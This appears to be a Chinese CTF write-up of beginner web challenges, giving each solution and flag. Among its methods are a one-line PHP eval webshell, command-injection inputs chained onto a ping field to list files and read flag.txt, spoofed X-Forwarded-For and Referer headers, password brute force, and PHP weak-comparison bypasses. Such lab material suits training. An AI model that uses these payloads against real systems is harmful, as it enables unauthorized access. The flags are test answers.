WEB攻防区新手题(任务3)(本周)
题目:'攻防世界’新手区
1.view_source
题目简介:
右键呼不出开发者模式,是JS禁用了鼠标右键,按F12快捷键调用即可。
相关代码段:
document.oncontextmenu=new Function("return false ")
document.onselectstart=new Function("return false ")
flag:
cyberpeace{f3e91a8ed66d353b8d7c6241cae2acc1}
2.robots
题目简介:
强烈暗示 robot.txt 打开寻找内容
相关代码段:
User-agent: *
Disallow:
Disallow: `f1ag_1s_h3re.php
- 访问
f1ag_1s_h3re.php
flag:
cyberpeace{3d77479017e405c20ce40b5e12c6566e}
3.backup
题目描述:
X老师忘记删除备份文件,他派小宁同学去把备份文件找出来,一起来帮小宁同学吧!
到存在备份文件访问 index.php.bak
flag:
Cyberpeace{855A1C4B3401294CB6604CCC98BDE334}
4.cookie
**题目描述:**X老师告诉小宁他在cookie里放了些东西,小宁疑惑地想:‘这是夹心饼干的意思吗?’
过程:
- 观察到COOKIE中
look-here
的值为 `cookie.php`` cookie.php
访问得到 See the http response- 在HTTP响应头中找到
flag: cyberpeace{e08a21b4ed191ba93e666f75d1fe219b}
flag: cyberpeace{e08a21b4ed191ba93e666f75d1fe219b}
5.disabled_button
题目描述:X老师今天上课讲了前端知识,然后给了大家一个不能按的按钮,小宁惊奇地发现这个按钮按不下去,到底怎么才能按下去呢?
- 放HTML按钮代码:
<input disabled="" class="btn btn-default" style="height:50px;width:200px;" type="submit" value="flag" name="auth">
- 将disable属性删除
flag: cyberpeace{0773c391255e1a6dc349737c5d63aa8f}
6.weak_auth
题目描述:小宁写了一个登陆验证页面,随手就设了一个密码。
- 抓取
- BURP 代入字典 爆破
flag: cyberpeace{36ea30743d30ec42136fe122c84f1f34}
<?php
show_source(__FILE__);
include("config.php");
$a=@$_GET['a'];
$b=@$_GET['b'];
if($a==0 and $a){
echo $flag1;
}
if(is_numeric($b)){
exit();
}
if($b>1234){
echo $flag2;
}
?>
6.simple_php
题目描述:小宁听说php是最好的语言,于是她简单学习之后写了几行php代码。
\
代码:
<?php
show_source(__FILE__);
include("config.php");
$a=@$_GET['a'];
$b=@$_GET['b'];
if($a==0 and $a){
echo $flag1;
}
if(is_numeric($b)){
exit();
}
if($b>1234){
echo $flag2;
}
?>
分析:
-
原理:PHP弱比较
https://www.cnblogs.com/Mrsm1th/p/6745532.html
//引用解释作者:Mrsm1th
1 观察上述代码,"admin"==0 比较的时候,会将admin转化成数值,强制转化,由于admin是字符串,转化的结果是0自然和0相等
2 "1admin"==1 比较的时候会将1admin转化成数值,结果为1,而“admin1“==1 却等于错误,也就是"admin1"被转化成了0,为什么呢??
3 "0e123456"=="0e456789"相互比较的时候,会将0e这类字符串识别为科学技术法的数字,0的无论多少次方都是零,所以相等
对于上述的问题php手册的描述
当一个字符串欸当作一个数值来取值,其结果和类型如下:如果该字符串没有包含'.','e','E'并且其数值值在整形的范围之内
该字符串被当作int来取值,其他所有情况下都被作为float来取值,该字符串的开始部分决定了它的值,如果该字符串以合法的数值开始,则使用该数值,否则其值为0。
-
“admin”==0 比较的时候,会将admin转化成数值,强制转化。转换结果:0 (没有能转换得到的数字)
-
操作
- $a可以使用任意字符串如:‘0’ ‘abc’
- $b is_numeric 会检查变量是否是数字,是数字就退出,所以用字符混淆
- $b $b=1236da
flag: Cyberpeace{647E37C7627CC3E4019EC69324F66C7C}
7.get_post
题目描述:X老师告诉小宁同学HTTP通常使用两种请求方法,你知道是哪两种吗?
要求: 请用GET方式提交一个名为a,值为1的变量
解答:
- 插件hackbar
**flag:**cyberpeace{e04247250c3f10357b6d452e0e1e34ee}
8.xff_referer
**题目描述:**X老师告诉小宁其实xff和referer是可以伪造的。\
方法:
头中加入:
X-Forwarded-For:123.123.123.123
Referer: https://www.google.com
题目要求:
<p id="demo">ip地址必须为123.123.123.123</p>
<script>document.getElementById("demo").innerHTML="必须来自https://www.google.com";</script><script>document.getElementById("demo").innerHTML="cyberpeace{936f049d988f0320fed5e89588e5ac3a}";</script></body>
flag: cyberpeace{936f049d988f0320fed5e89588e5ac3a}
9.webshell
你会使用webshell吗?
<?php @eval($_POST['shell']);?>
**题目描述:**小宁百度了php一句话,觉着很有意思,并且把它放在index.php里。
**方法:**直接使用蚁剑连接
**flag: ** cyberpeace{84ad4071d126354b4499a25a2e5da29d}
10.command_execution
**题目描述:**小宁写了个ping功能,但没有写waf,X老师告诉她这是非常危险的,你知道为什么吗。
执行:
- 法一:手动查找
执行:127.0.0.1 | cd ./ | ls
返回:
ping -c 3 127.0.0.1 | cd ./ | ls
index.php
- 法二:输入127.0.0.1 & find / -name “flag.txt”
ping -c 3 * 127.0.0.1 & find / -name "flag.txt"
/home/flag.txt
ping -c 3 * 127.0.0.1 & cat /home/flag.txt
cyberpeace{b6a54e9ef87f471c619be8671ed9d5f1}
flag: cyberpeace{b6a54e9ef87f471c619be8671ed9d5f1}
11.simple_js
<html>
<head>
<title>JS</title>
<script type="text/javascript">
function dechiffre(pass_enc){
var pass = "70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65";
var tab = pass_enc.split(',');
var tab2 = pass.split(',');var i,j,k,l=0,m,n,o,p = "";i = 0;j = tab.length;
k = j + (l) + (n=0);
n = tab2.length;
for(i = (o=0); i < (k = j = n); i++ ){o = tab[i-l];p += String.fromCharCode((o = tab2[i]));
if(i == 5)break;}
for(i = (o=0); i < (k = j = n); i++ ){
o = tab[i-l];
if(i > 5 && i < k-1)
p += String.fromCharCode((o = tab2[i]));
}
p += String.fromCharCode(tab2[17]);
pass = p;return pass;
}
String["fromCharCode"](dechiffre("\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30"));
h = window.prompt('Enter password');
alert( dechiffre(h) );
</script>
</head>
</html>
a=[55,56,54,79,115,69,114,116,107,49,50]
c = ""
for i in a:
b = chr(i)
c = c + b #字符串拼接
print(c)
flag: Cyberpeace{786OsErtk12}
\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30"));
h = window.prompt('Enter password');
alert( dechiffre(h) );
```python
a=[55,56,54,79,115,69,114,116,107,49,50]
c = ""
for i in a:
b = chr(i)
c = c + b #字符串拼接
print(c)
flag: Cyberpeace{786OsErtk12}